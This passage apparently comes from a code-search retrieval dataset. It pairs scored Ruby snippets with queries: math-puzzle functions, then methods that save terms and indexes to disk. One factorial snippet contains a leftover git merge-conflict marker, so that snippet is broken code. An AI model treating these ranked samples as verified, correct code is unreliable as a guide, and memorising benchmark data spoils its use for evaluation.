"text": "def euler1(num)\n index = 1\n sum = 0\n (num - 1).times do\n if index % 3 == 0\n sum += index\n elsif index % 5 == 0\n sum += index\n end\n index += 1\n end\n return sum\nend",
"title": ""
},
{
"docid": "3432f25660fdc34191872c86984f173e",
"score": "0.60271895",
"text": "def trky\n result = 0\n i = 10\n (i..362880).each do |i|\n p = i\n sum = 0\n while i != 0\n lala, needtofac = i % 10, 1\n (1..lala).each do |j|\n needtofac *= j\n end\n sum += needtofac\n i /= 10\n end\n result += p if p == sum\n end\n result\nend",
"title": ""
},
{
"docid": "00b329e31e7e0174252fde10a6e443fe",
"score": "0.6026182",
"text": "def persistence(n)\n n < 10 ? 0 : 1 + persistence(n.to_s.chars.map(&:to_i).reduce(:*))\nend",
"title": ""
},
{
"docid": "b22decb0ff00082e9dc7f8b4ac77409d",
"score": "0.6025883",
"text": "def factorial(number)\n<<<<<<< HEAD\n if number == 0\n return 1\n else\n return (1..number).reduce(:*)\n end\nend",
"title": ""
},
{
"docid": "03e163afbbc80fcbc8dd465e03c964d8",
"score": "0.601522",
"text": "def find_factorial(num)\n # Write your code here\n a = []\n loop do \n a.push(num)\n num -= 1\n break if num == 1\n end\n a.inject{ |el,acc| el * acc }\nend",
"title": ""
},
{
"docid": "2a39b32806655d53c64ca78880cebe8a",
"score": "0.60143965",
"text": "def solution3\n large_num = 600_851_475_143\n\n i = 2\n\n loop do\n large_num /= i if large_num % i == 0\n i += 1\n break if i > large_num / 2\n end\n\n large_num\nend",
"title": ""
},
{
"docid": "d198ce6530d8641577166dd071790bfa",
"score": "0.6013534",
"text": "def hard(string)\n sum = 0\n steps = string.length / 2\n string.length.times do |i|\n j = (i + steps) % string.length\n sum += check(string[i], string[j])\n end\n sum\nend",
"title": ""
},
{
"docid": "059fdc46a083207fb577488de7a2de8c",
"score": "0.5997366",
"text": "def euler5\n\n count = 1\n\n while true\n num = 20 * count\n\n # This seems ridiculous but all my short solutions were causing stack overflow\n if num % 1 == 0 and num % 2 == 0 and num % 3 == 0 and num % 4 == 0 and num % 5 == 0 and num % 6 == 0 and num % 7 == 0 and num % 8 == 0 and num % 9 == 0 and num % 10 == 0 and num % 11 == 0 and num % 12 == 0 and num % 13 == 0 and num % 14 == 0 and num % 15 == 0 and num % 16 == 0 and num % 17 == 0 and num % 18 == 0 and num % 19 == 0 and num % 20 == 0\n return num\n end\n\n count += 1\n end\n\nend",
"title": ""
},
{
"docid": "f09ebfab0d056b471cb424bdc9126b05",
"score": "0.5996342",
"text": "def persistence(int)\n return 0 if int.digits.size == 1\n count = 0\n loop do\n int = int.digits.inject(:*)\n count += 1\n break if int.digits.size == 1\n end\n count \nend",
"title": ""
},
{
"docid": "3a60e7724b8dbb34d2dfe5df1f414fe9",
"score": "0.5995575",
"text": "def sum_for_mod_3_or_5_shorter( last_number )\n result = 0\n (0..last_number).each do |i|\n result += (i % 3 == 0 || i % 5 == 0)? i : 0\n end\n result\nend",
"title": ""
},
{
"docid": "5a6cc00cbd4327851698a7496c3f746d",
"score": "0.59940004",
"text": "def save_the_prisoner(n, m, id)\n ((id - 1 + m - 1) % n) + 1\nend",
"title": ""
},
{
"docid": "736730617f85fc199ec2e9ae5f544a73",
"score": "0.59937876",
"text": "def square_digits_sequence_alt(a0)\n seq = []\n until seq.include?(a0)\n seq << a0\n a0 = a0.digits.map {|d| d*d}.sum\n end\n seq.size+1\nend",
"title": ""
},
{
"docid": "12d7823506236855a3ec75914bb21b4b",
"score": "0.59932524",
"text": "def sockMerchant(n, ar)\n \n b = Hash.new(0)\n result = 0\n ar.each do |v|\n b[v] += 1\n end\n b.each do |k, v|\n result = v/2 + result\n end\n return result\n \nend",
"title": ""
},
{
"docid": "ba05fc42f521e53626bca4d0a41e231e",
"score": "0.59916145",
"text": "def persistence(n)\n sum = 1\n count = 0\n\n if n < 10\n return count\n end\n\n\n while true\n n.to_s.each_char do |char|\n sum *= char.to_i\n end\n\n count += 1\n \n if sum < 10\n break\n else\n n = sum\n sum = 1\n end\n end\n count\nend",
"title": ""
},
{
"docid": "7e3293e591c6f76d4007108fd07f0ec8",
"score": "0.5991468",
"text": "def problem_95\n longest = [0,0]\n max = 1_000_000\n chain = [1,1]\n s_of_d = Integer.sum_of_divisors_upto(max)\n (1...max).each do |n|\n if c = chain[n]\n# puts \"#{n} has chain of #{c}\"\n next \n end\n if n.prime? # Goes to '1'\n chain[n] = 1\n# puts \"#{n} is prime => 1\"\n next\n end\n\n m = n\n nums = [m]\n loop do\n #m = m.sum_of_divisors\n m = s_of_d[m]\n# puts \"loop for #{m} #{nums.inspect}\"\n if m >= max\n # Set all numbers to '0'\n nums.each { |i| chain[i] = 0 }\n break;\n end\n# puts \"#{n} => #{chain[m] || 'unknown' }\"\n if chain[m] # We know what happens\n v = chain[m]\n if v == -1 # We seen our-self\n i = nums.rindex(m)\n v = nums.length - i\n if v >= longest[0]\n lchain = nums[i,nums.length]\n min = lchain.min\n if min != longest[1]\n longest = [v,min,lchain] \n puts \"new long chain #{longest.inspect}\"\n end\n# puts \"-1 hit #{n} => #{v} #{nums.inspect}\"\n end\n end\n nums.each { |i| chain[i] = v }\n# puts \"#{n} has loop of #{v}\" if v > 2\n# puts \"#{n} => #{v} #{nums.inspect}\"\n break\n else\n # loop detect\n nums << m\n chain[m] = -1\n end\n end\n end\n longest[1]\nend",
"title": ""
},
{
"docid": "87bdc7eaaec10f221b629ffb377e820f",
"score": "0.5989203",
"text": "def problem34\n sum = 0\n factorials = { 1 => 1, 2 => 2, 3 => 6, 4 => 24, 5 => factorial(5), 6 => factorial(6), 7 => factorial(7), 8 => factorial(8), 9 => factorial(9), 0 => 1}\n (3..9999999).each{|i|\n subSum = 0\n i.to_s.split(\"\").each do |digit|\n subSum += factorials[digit.to_i]\n end\n if subSum == i\n sum += subSum\n puts \"adding #{i}; sum = #{sum}\"\n end\n }\n sum\nend",
"title": ""
},
{
"docid": "53b337bc91f79dd5ac9138e6d8e0fd9a",
"score": "0.5987496",
"text": "def f(n, m)\n\n partial_sum = 0\n partial_sum_counter = 1\n # while(partial_sum_counter < m) do\n # partial_sum = partial_sum + partial_sum_counter\n # # puts partial_sum_counter\n # partial_sum_counter += 1\n # end\n\n partial_sum = m* (m+1)/2 - m\n\n\n partial_sum_repeat = n/m\n puts \"partial_sum_repeat is\"\n puts partial_sum_repeat\n\n partial_sum_remainder = n % m\n puts \"partial_sum_remainder is\"\n puts partial_sum_remainder\n\n remainder_sum = 0\n partial_sum_pointer = partial_sum_remainder\n\n partial_sum_remainder.times do\n remainder_sum += partial_sum_pointer\n partial_sum_pointer -= 1\n end\n\n return partial_sum_repeat * partial_sum + remainder_sum\n\nend",
"title": ""
},
{
"docid": "fc35b048eb13fc75ee083d79e84ff6a6",
"score": "0.59857213",
"text": "def thirt(n)\n # your code\n remainders = [1, 10, 9, 12, 3, 4]\n rlen = 6\n num = n\n result = 0\n result_arr = []\n loop do \n num_arr = num.to_s.split('').map { |i| i.to_i}\n while remainders.length <= num_arr.length do \n remainders << (10 ** rlen) % 13\n rlen += 1\n end\n x = 0\n y = num_arr.length - 1\n temp = []\n while x < remainders.length && y >= 0 do \n temp_num = remainders[x] * num_arr[y]\n temp << temp_num\n x += 1\n y -= 1\n end\n num = temp.reduce(:+)\n if num == result_arr[-1]\n result = num \n break\n end\n result_arr << num\n end\n result \nend",
"title": ""
},
{
"docid": "d7cd4a707ae2c27deb7723007830b300",
"score": "0.5982934",
"text": "def persistence(n)\n if n < 10 then\n return 0\n else\n return 1 + persistence(n.to_s.chars.inject(1) { |n,c| n * c.to_i })\n end\nend",
"title": ""
},
{
"docid": "fe6f6ee7f8195b1d3df2ffdc4b281754",
"score": "0.59822303",
"text": "def problem_14\n chains = {1 => 1}\n max_n,max_v = 1,1\n 2.upto(1_000_000).map do |num|\n n = num\n count = 0\n until chains[n]\n n = (n.even? ? (n/2) : (n * 3 +1))\n count += 1\n end\n chains[num] = count += chains[n]\n max_n,max_v = num,count if count > max_v\n end\n max_n\nend",
"title": ""
},
{
"docid": "267bcebeb163471789281bdce2ffd625",
"score": "0.59797406",
"text": "def solve\n str = ''\n mult = 1\n prod = 1\n count = 0\n 1.upto(189555) do |i|\n #str += i.to_s\n if i > 100000\n count += 6\n elsif i > 10000 && i <= 100000\n count += 5\n elsif i > 1000 && i <= 10000\n count += 4\n elsif i > 100 && i <= 1000\n count += 3\n elsif i > 10 && i <= 100\n count += 2\n else\n count += 1\n end\n puts \"#{i}: #{count}\"\n if count >= mult\n prod *= i\n puts \"#{mult}: #{prod} | #{i} | #{count}\" \n #mult *= 10\n end\n end\n prod\nend",
"title": ""
},
{
"docid": "0aa50ecd194f087b9d4cd04df00cb6b2",
"score": "0.5974645",
"text": "def problem1\n sum = 0\n iterator = 0\n while iterator < 1000\n if multiple?(iterator)\n sum += iterator\n end\n iterator += 1\n end\n return sum\nend",
"title": ""
},
{
"docid": "6f572ad9de96643f03be2b9f79a2367a",
"score": "0.59729105",
"text": "def compute\n\t\twhile @current != 1\n\t\t\tif (@current % 2) == 0\n\t\t\t\t@current = @current / 2\n\t\t\telse\n\t\t\t\t@current = (3 * @current) + 1\n\t\t\tend\n\t\t\tif not $d_fast then @seq[@count] = @current end\n\t\t\t@count += 1\n\t\tend\n\t\t@count += 1\n\tend",
"title": ""
}
] |
5f602b389733d5f35b28f2b0a113f90d
|
save the terms and indexes into the disk
|
[
{
"docid": "e0c85a0f87ad4cf52ac477d5d5fd20b7",
"score": "0.83143455",
"text": "def save\n File.open(@index_file, 'wb') do |f|\n f.puts Marshal::dump([@terms, @index])\n end\n end",
"title": ""
}
] |
[
{
"docid": "eda6482ed97516474daabbf2462ddce4",
"score": "0.8366022",
"text": "def save\n File.open(@index_file, 'wb') do |f|\n Marshal.dump([@terms, @index], f)\n end\n end",
"title": ""
},
{
"docid": "1835c77f1736d82a3c438364d3e85f69",
"score": "0.69925606",
"text": "def save_index\n @index.compute_digest(@data_file)\n @index.to_disk(@index_file)\n end",
"title": ""
},
{
"docid": "8eaf0f95bf75af8840da68ab85edb3e9",
"score": "0.67928106",
"text": "def save\n File.write @path, @index.to_yaml, encoding: \"UTF-8\"\n end",
"title": ""
},
{
"docid": "ba58109e8ddfcd0b87f28e0d5d6b3f95",
"score": "0.6709501",
"text": "def save_indexes\n self.class.indexes.each do |name, index|\n index.save(self)\n end\n end",
"title": ""
},
{
"docid": "5521890d592ee6e4b0989b2e7866c01e",
"score": "0.6597385",
"text": "def save_index\r\n # if validate_markdown_repo\r\n\r\n # Write full list to json file\r\n open(INDEX_PATH, 'w') do |f|\r\n f.puts JSON.pretty_generate @index\r\n end\r\n\r\n commit_markdown_repo(@today, ar_add=nil, message='index ')\r\n # end\r\n end",
"title": ""
},
{
"docid": "fc591461fdaec9bcf5e799857973253b",
"score": "0.6565942",
"text": "def write_indexes\n S3Object.store(File.join(basedir, 'index'), Marshal.dump(index), bucket_name)\n end",
"title": ""
},
{
"docid": "85701d6fa2be5c717dc55507bf28f1b8",
"score": "0.642442",
"text": "def save_search_index(index)\n require 'json'\n @updated_search_index = index\n search_index_path.open('w') do |io|\n io.write(@updated_search_index.to_json)\n end\n end",
"title": ""
},
{
"docid": "61e56628da1ce05c95921863c8e8ba29",
"score": "0.6145552",
"text": "def save\n File.open(@path, \"w\") do |file|\n Psych.dump({version: VERSION}, file)\n doc = {}\n @stats.each_pair do |article_path, article_stat|\n doc[article_path] = {\n stat: article_stat,\n related: @related[article_path] || [],\n }\n end\n Psych.dump(doc, file)\n end\n end",
"title": ""
},
{
"docid": "530303475c6095c0bcc62f462beaf53e",
"score": "0.6142447",
"text": "def save\n generate_archive(generate_content_types, generate_rels, generate_document)\n end",
"title": ""
},
{
"docid": "f61b19f521ea91ead3e183575e61256c",
"score": "0.6116048",
"text": "def save_model( model )\n file = model_filename model\n file_path = File.join(Dir.home,'tempo', file)\n File.delete( file_path ) if File.exists?( file_path )\n\n File.open( file_path,'a' ) do |f|\n model.index.each do |m|\n f.puts YAML::dump( m.freeze_dry )\n end\n end\n end",
"title": ""
},
{
"docid": "67c75d5bd8b761737ce7d8bd1b83c2ee",
"score": "0.60897017",
"text": "def save_words\n\t\t @word_weight.each do |word, weight|\n\t\t \t@db.update_or_create_word(word, @filename, weight, @word_frequency[word])\n\t\t end\n\t\tend",
"title": ""
},
{
"docid": "b5156d9e7ff7f981978fdc3387f680f1",
"score": "0.60832006",
"text": "def save_all_to_files\n\t\tsave_hash_to_file($searched, $progDir+'searched.txt')\n\t\tsave_hash_to_file($downloaded, $progDir+'downloaded.txt')\n\t\tsave_array_to_file($toSearch, $progDir+'toSearch.txt')\n\t\tsave_array_to_file($toDownload, $progDir+'toDownload.txt')\n\t\t@pgCount=$toSearch.size\n\trescue => e\n\t\t$error.save_error_to_file(__method__, e, $specialErrorTxt)\n\tend",
"title": ""
},
{
"docid": "aa26a864fb015e5d48263df18606c240",
"score": "0.6026064",
"text": "def save(path)\n File.open(path, \"wb\") do |f|\n f.write(Marshal.dump({\n tokens: @tokens,\n sentences: @sentences,\n keywords: @keywords\n }))\n end\n self\n end",
"title": ""
},
{
"docid": "0adf98dce1e0250b269ef33782fc7bd9",
"score": "0.600609",
"text": "def index_csv(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"title": ""
},
{
"docid": "b21c34f556687328e99e1592e941f8d1",
"score": "0.59844583",
"text": "def save\n doc = bucket.get_or_new(key)\n doc.data = to_hash\n set_indexes(doc.indexes)\n doc.store\n self\n end",
"title": ""
},
{
"docid": "7cb61add88315aad59ee50d418b8b765",
"score": "0.5945824",
"text": "def save\n csv = [] # store CSV lines to write to file\n # Iterate over BasicFoods and retrieve CSV format for each \n @basic_foods.each do |key, basic_food|\n csv.push(basic_food.csv)\n end\n # Iterate over Recipes and retrieve CSV format for each\n @recipes.each do |key, recipe|\n csv.push(recipe.csv)\n end\n File.write('FoodDB.txt', csv.join(\"\\n\")) # Write CSV lines to file\n end",
"title": ""
},
{
"docid": "7ecc2d71c9343c45097b92e68f486226",
"score": "0.5939579",
"text": "def save\n prepare\n atoms_sorted = {}\n @atoms.each do |atom_name, records|\n e_p = encoded_prefix(atom_name)\n atoms_sorted[e_p] = {} if !atoms_sorted.has_key?(e_p)\n atoms_sorted[e_p][atom_name] = records\n end\n atoms_sorted.each do |e_p, atoms|\n #p \"Saving #{e_p}.\"\n File.open(File.join(@root + [e_p.to_s]),'w+') do |f|\n Marshal.dump(atoms,f)\n end\n end\n save_record_size\n end",
"title": ""
},
{
"docid": "ba7db0f0c7b3a117295348f2d72bf8b4",
"score": "0.59334356",
"text": "def saveIndex(fileName = \"dataTest.dat\", data)\n\t\tfile = File.new(fileName, \"w+\")\n\t\tserializedData = Marshal.dump(data)\n\t\tfile.write(serializedData)\n\t\tfile.close\n\tend",
"title": ""
},
{
"docid": "32a78fa445ec17875be17a6f257588df",
"score": "0.59078187",
"text": "def write_document_to_index(document)\n\n end",
"title": ""
},
{
"docid": "2c87ba348bfe59488ce340a207781531",
"score": "0.59033614",
"text": "def save_and_index(reindex_options: {}, **args)\n save(*args) && reindex_later(**reindex_options)\n end",
"title": ""
},
{
"docid": "01e268d88cd12d23e1075c062c98fbb6",
"score": "0.59005666",
"text": "def index(data_path, db_path)\n db = Xapian::WritableDatabase.new(db_path, Xapian::DB_CREATE_OR_OPEN)\n term_generator = Xapian::TermGenerator.new\n term_generator.stemmer = Xapian::Stem.new('en')\n parse_csv_file(data_path).each do |row|\n doc = Xapian::Document.new\n term_generator.document = doc\n term_generator.index_text(row['TITLE'].to_s, 1, 'S')\n term_generator.index_text(row['DESCRIPTION'].to_s, 1, 'XD')\n term_generator.index_text(row['TITLE'].to_s)\n term_generator.increase_termpos\n term_generator.index_text(row['DESCRIPTION'].to_s)\n\n ### Start of new indexing code.\n # Index the MATERIALS field, splitting on semicolons.\n row['MATERIALS'].to_s.split(';').each do |material|\n material.strip!\n material.downcase!\n doc.add_boolean_term(\"XM#{material}\") if material.length.positive?\n end\n ### End of new indexing code.\n\n doc.data = row.to_h.to_json\n idterm = \"Q#{row['id_NUMBER']}\"\n doc.add_boolean_term(idterm)\n db.replace_document(idterm, doc)\n end\nend",
"title": ""
},
{
"docid": "779d37ebef389fc7fcde59d28a4f64f6",
"score": "0.58353716",
"text": "def add_to_index_files(idx, name)\n year = NvdFileSystem::year_from_name(name)\n\n path=\"#{@nvdfs.root_path}/index\"\n Dir.mkdir path unless Dir.exist? path\n path += \"/#{year}\"\n Dir.mkdir path unless Dir.exist? path\n path += \"/#{idx}\"\n Dir.mkdir path unless Dir.exist? path\n path += \"/#{name}\"\n\n begin\n File.open(path,\"wb\") {|f| f.write(\"\") }\n rescue Exception => ex\n str=\"unable to create index file #{path}\"\n puts str\n end\n\n end",
"title": ""
},
{
"docid": "eea9b6b2f3f839d000c1b97d093c25fe",
"score": "0.5786894",
"text": "def save\n CSV.open(@file, \"w\") { |csv| @recipes.each { |recipe| csv << [recipe] } }\n end",
"title": ""
},
{
"docid": "434dc121eb83c45591667ae44bd6ab21",
"score": "0.5782784",
"text": "def save\n log.write([words.join(\" \"), to_s, options.join(\", \")])\n end",
"title": ""
},
{
"docid": "13312dc0a65e5474c53126bc21c9da1d",
"score": "0.5770131",
"text": "def save\n dbfile = File.open(\"FoodDB.txt\", \"w\")\n @BasicHash.each do |foodName, foodObject|\n dbfile.write(\"#{foodName},b,#{foodObject.calories}\\n\")\n end\n @RecipeHash.each do |recipeName, recipeObject|\n dbfile.write(\"#{recipeName},r,#{recipeObject.ingredients.join(\",\")}\\n\")\n end\n dbfile.close()\n @dirty = false\n end",
"title": ""
},
{
"docid": "1aa374e22816ee54977b35c79d9a6360",
"score": "0.57654345",
"text": "def save(*args)\n super(*args)\n index\n self\n end",
"title": ""
},
{
"docid": "91c76673f418746384868109539650a4",
"score": "0.5702859",
"text": "def saveListToFile()\n\t\t# f is going to equal data.txt with the 'write' capability:\n\t\tf = File.new('data.txt', 'w')\n\n\t\t# write searchSuggestionList to data.txt:\n\t\tf.write(\"#{@searchSuggestionList}\")\n\n\t\t# close data.txt/ end writing:\n\t\tf.close\n\tend",
"title": ""
},
{
"docid": "14e19fcf35b60f5f79e76af85e1f7c18",
"score": "0.5680811",
"text": "def dump\n @terms.sort.each do |term, value|\n puts \"#{term}:\"\n @index.sort.each do |document, mask|\n puts \" #{document}\" if mask[@terms[term]] != 0\n end\n end\n end",
"title": ""
},
{
"docid": "eeb08cf80a4da411ca609a9e7c0f8b9f",
"score": "0.5678761",
"text": "def dump\n @terms.each_pair do |term, index|\n puts \"#{term}: \"\n @index.each_pair do |doc, mask|\n puts \"#{doc}\" if mask[index] == 1\n end\n end \n end",
"title": ""
},
{
"docid": "65f113c5a3437db1a29542a47899a8d0",
"score": "0.5676165",
"text": "def save_files\n @law_h = [:law, :link, :section]\n @case_h = [:case, :link, :date]\n\n # Parse into hashes\n @single_matches = @single_matches-@double_matches\n case_hash = @double_matches.map{|i| {@case_h[0] => i[0], @case_h[1] => i[1], @case_h[2] => i[2]}}\n law_hash = @single_matches.map{|i| {@law_h[0] => i[0], @law_h[1] => i[1], @law_h[2] => i[2]}}\n \n # Write files\n write_files(case_hash, law_hash)\n end",
"title": ""
},
{
"docid": "dd570dac09027df02395f594825864ec",
"score": "0.5651962",
"text": "def add_to_index posts\n indexDir = java.io.File.new(@index_dir);\n writer = IndexWriter.new(indexDir, StandardAnalyzer.new, !File.exists?(indexDir.absolute_path))\n posts.each do |post|\n writer.updateDocument(Term.new(\"id\",post[:id]),create_lucene_document(post))\n @last_id = post[:id]\n @log.debug \"added post ##{post[:id]}\"\n end \n writer.optimize\n writer.close\n @log.info \"added #{posts.size} documents to index\"\n end",
"title": ""
},
{
"docid": "83889fa41c508c6dd86c6e63a7c28dc4",
"score": "0.565132",
"text": "def save_results\n\t\t# save search results\n\t\tCSV.open('results.csv', 'wb') {|csv|\n\t\t\t@checked_links.each {|link|\n\t\t\t\tcsv << [link[0], link[1][:res], link[1][:time]]\n\t\t\t}\n\t\t}\n\t\t# save list of external links\n\t\tCSV.open('external-links.csv', 'wb') {|csv|\n\t\t\t@external_links.each do |link|\n\t\t\t csv << [link[0], link[1][:res], link[1][:time]]\n\t\t\tend\n\t\t}\n\t\t# save list of invalid links\n\t\tCSV.open('invalid.csv', 'wb') {|csv|\n\t\t\t@error_links.each do |link|\n\t\t\t csv << link\n\t\t\tend\n\t\t}\n\tend",
"title": ""
},
{
"docid": "b6f4403ae3abeb1c7589dc83c97b6cad",
"score": "0.56324863",
"text": "def fs_index(force = true)\n path = File.join(Rails.root, 'public', self.solr_url.path)\n return true if !force && File.exists?(path)\n yield if block_given?\n File.write(path, JSON.generate(self.document_for_rsolr))\n end",
"title": ""
},
{
"docid": "797f98426c6ecc28cddaae662ac2f3de",
"score": "0.56144",
"text": "def data_write\n fd = File.new('fraze.dat',\"w\")\n $words.each_index do\n |iw|\n printf(fd,\"%s|%d|%d|%s|%s\\n\",\n $words[iw].fname,\n $words[iw].enlevel,\n $words[iw].czlevel,\n $words[iw].english,\n $words[iw].czech)\n end\n fd.close\n puts \"\\nDatabase stored\"\nend",
"title": ""
},
{
"docid": "e87c67f52fc0152c030bc27406c4bfae",
"score": "0.55986774",
"text": "def save_to(path); end",
"title": ""
},
{
"docid": "5c858ada9314ed61617f7131377a5039",
"score": "0.5572424",
"text": "def save\n CSV.open('FoodDB.txt', 'w') do |csv|\n database.each_value do |v|\n csv << v.to_array\n end\n end\n end",
"title": ""
},
{
"docid": "9b1047796cd6a01572f8d75808a821e2",
"score": "0.55102116",
"text": "def search_and_save(category:, indexes:[], types:[],\n source:[:id, :site, :url, :lang, :title, :content],\n queries:[nil], min_nchars: 200, limit:nil, output:nil)\n\n @es_fields = source.dup\n @min_nchars = min_nchars\n corpus = Xi::ML::Corpus::PushCorpus.new(output)\n\n # store SHA256(content) to check for duplicate contents\n checkup = {}\n\n counts = {}\n ndocs = { saved: 0, limit: 0, long: 0, total: 0 }\n\n @timer.start_timer()\n\n queries.each do |query|\n indexes.each do |index|\n types.each do |type|\n\n # setup a new search for each index and for each type\n @search.search_setup(\n index: index,\n type: type,\n source: @es_fields,\n query: query,\n )\n\n begin\n # scroll results (yield => loop)\n @search.scroll do |search_entry|\n entry = process_result(search_entry)\n site = entry[:site].sub('www.', '')\n\n counts[site] = { saved: 0, limit: 0, long: 0, total: 0 } \\\n unless counts[site]\n\n ndocs[:total] += 1\n counts[site][:total] += 1\n\n # skip documents with empty content\n next if entry[:content].empty?\n\n ndocs[:long] += 1\n counts[site][:long] += 1\n\n # skip documents for sites that reached their limit\n next if !limit.nil? && counts[site][:saved] >= limit\n\n # count duplicates for documents within limit\n ndocs[:limit] += 1\n counts[site][:limit] += 1\n\n save_entry = entry.select {|k, _| @corpus_fields.include?(k) }\n save_entry[:category] = category.to_s\n\n raise Xi::ML::Error::DataError, \\\n \"Extracted document '#{save_entry}' \"\\\n \"does not match required structure '#{@corpus_fields}'\" \\\n unless save_entry.keys.sort == @corpus_fields.sort\n\n content_sha = Digest::SHA256.hexdigest(entry[:raw_content])\n unless checkup.key?(content_sha)\n corpus.add(save_entry)\n\n ndocs[:saved] += 1\n counts[site][:saved] += 1\n\n checkup[content_sha] = true\n\n # progress information\n @logger.info(\"Saved #{ndocs.values.join(' / ')} documents\") \\\n if ndocs[:saved] % 100_000 == 0\n end\n end\n rescue => e\n raise Xi::ML::Error::CaughtException, \\\n \"Exception encountered when scrolling results #{e.message}\"\n end\n end\n end\n end\n\n corpus.close_stream\n\n # log info\n @timer.stop_timer(\"Processed documents from #{counts.size} host names\")\n @logger.info(\"Stored #{ndocs.values.join(' / ')} documents\")\n\n counts = Hash[counts.sort_by {|_, value| value[:saved] }.reverse]\n @logger.info(\"# of total documents per domain:\\n#{PP.pp(counts, '')}\")\n\n pshort = (100 - 1.0 * ndocs[:long] / ndocs[:total] * 100).round(2)\n pignored = (100 - 1.0 * ndocs[:limit] / ndocs[:long] * 100).round(2)\n pdup = (100 - 1.0 * ndocs[:saved] / ndocs[:limit] * 100).round(2)\n\n @logger.info(\"#{pshort}% docs have less than #{min_nchars} characters\")\n @logger.info(\"#{pignored}% docs ignored due to the #{limit}docs/site limit\")\n @logger.info(\"#{pdup}% docs have duplicates (with respect to saved docs)\")\n end",
"title": ""
},
{
"docid": "c808649c62c2073351cc725ea6c44684",
"score": "0.5498576",
"text": "def save(dir)\n # Ruta dataset\n dataset_path = \"#{dir}/#{@name}/%s_#{@memory}\"\n\n # Rutas de archivos para el dataset\n sample_file = dataset_path % 'sample'\n summary_file = dataset_path % 'summary'\n count_file = dataset_path % 'count'\n\n # Se prepara el directorio que contendrá resultados, a no ser que exista\n unless File.exists?(\"\")\n status \"Creating directory #{dir}/#{@name}\", \"mkdir -p #{dir}/#{@name}\"\n end\n\n save_sample sample_file \n save_summary summary_file\n save_count count_file\n end",
"title": ""
},
{
"docid": "b0e0be74292d2e257681de1b64b46dff",
"score": "0.5491932",
"text": "def close\n File.delete(@index_file) if indexed?\n File.delete(@indexing) if indexing?\n end",
"title": ""
},
{
"docid": "4cf3ae320753524c989f02e3c3cca717",
"score": "0.54623175",
"text": "def save_to_file\n File.open(\"results/#{seq_name}\"+\".txt\", 'w') { |file|\n \n n=1\n \n @actions.each do |a|\n file.puts a.description\n n +=1 \n end\n } \n \n end",
"title": ""
},
{
"docid": "b1e467501fc1b1256741e6ff0c4ae547",
"score": "0.54510146",
"text": "def save_hashes\n @storage.save_hash_tree @hash_tree_controller.node_hashes\n end",
"title": ""
},
{
"docid": "4f5dc9e5fdbb67c38b756c565c8c5220",
"score": "0.54440117",
"text": "def save\n\t\tNg2::HashDb.add(@word, serialize)\n\tend",
"title": ""
},
{
"docid": "d1a89e09a6f54da8d9fbd488ed27b465",
"score": "0.5438404",
"text": "def save!\n # Scrub some fields\n @data[\"installed\"].sort!\n @data[\"installed\"].uniq!\n\n # Save\n @path.open(\"w+\") do |f|\n f.write(JSON.dump(@data))\n end\n end",
"title": ""
},
{
"docid": "f4105edd474a71c57e5290fe5d824ef6",
"score": "0.54376876",
"text": "def extract_indexterms(terms)\n terms.each_with_object({}) do |t, v|\n term = t&.at(ns(\"./primary\"))&.children&.to_xml\n term2 = t&.at(ns(\"./secondary\"))&.children&.to_xml\n term3 = t&.at(ns(\"./tertiary\"))&.children&.to_xml\n index2bookmark(t)\n v[term] ||= {}\n v[term][term2] ||= {}\n v[term][term2][term3] ||= {}\n v[term][term2][term3][:xref] ||= []\n to = t[\"to\"] ? \"to='#{t['to']}' \" : \"\"\n v[term][term2][term3][:xref] << \"<xref target='#{t['id']}' #{to}pagenumber='true'/>\"\n end\n end",
"title": ""
},
{
"docid": "8da9f826e4ae144782afbf93fa19f1b7",
"score": "0.5429549",
"text": "def save!\n Powirb.log.debug(\"[#{wid}] saving on #{@filename}\")\n File.open(@filename, 'w+') {|io| io.puts @doc}\n end",
"title": ""
},
{
"docid": "81a6692830736d6066dfcb1447e8981b",
"score": "0.5427922",
"text": "def docs_to_write; end",
"title": ""
},
{
"docid": "bb4961e5efacc8620ea52a2aad506ff8",
"score": "0.5427369",
"text": "def update_tank_indexes\n if tanker_indexable?\n tanker_config.index.add_document(\n it_doc_id, tanker_index_data, tanker_index_options\n )\n else\n delete_tank_indexes\n end\n end",
"title": ""
},
{
"docid": "df20d2c52e5803ecb593260c18a5b51b",
"score": "0.54131365",
"text": "def save\n save_to_file(@output_file, @contents)\n end",
"title": ""
},
{
"docid": "bb3c8255590ace75a2dca71f61c23f7c",
"score": "0.54077345",
"text": "def save_hashes_for_write\n \n end",
"title": ""
},
{
"docid": "404100b52d52acfb39c5a23314dd2fe8",
"score": "0.54005533",
"text": "def save!\n FileUtils.mkdir_p File.dirname(self.file)\n\n File.open(self.file, \"w+\") do |f|\n f << %(#{self.namespace}.translations || (#{self.namespace}.translations = {});\\n)\n self.translations.each do |locale, translations_for_locale|\n f << %(#{self.namespace}.translations[\"#{locale}\"] = #{translations_for_locale.to_json};\\n);\n end\n end\n end",
"title": ""
},
{
"docid": "631449cab7e852eef2442f1e050fe34f",
"score": "0.53934693",
"text": "def create_index( dictionary )\n\n\t# test the existence of the index, and exit\n\tFile.stat( dictionary.index )\n\n\t# unless there is an error, so\n\trescue\n\n\t# 1 - it creates the index\n\tFile.open( dictionary.index, \"a\" ) do |index_file|\n\t\t# 2 - it opens the dictionary\n\t\tFile.open( dictionary ) do |dictionary_file|\n\t\t\t# 3 - for each word of the dictionary\n\t\t\tdictionary_file.readlines.each do |dictionary_line|\n\t\t\t\t# 4 - puts in the index the canonical form\n\t\t\t\tindex_file.puts dictionary_line.chomp.canonical\n\t\t\tend\n\t\tend\n\tend\nend",
"title": ""
},
{
"docid": "3670855d636a49a4f0affd368fc83ede",
"score": "0.53880036",
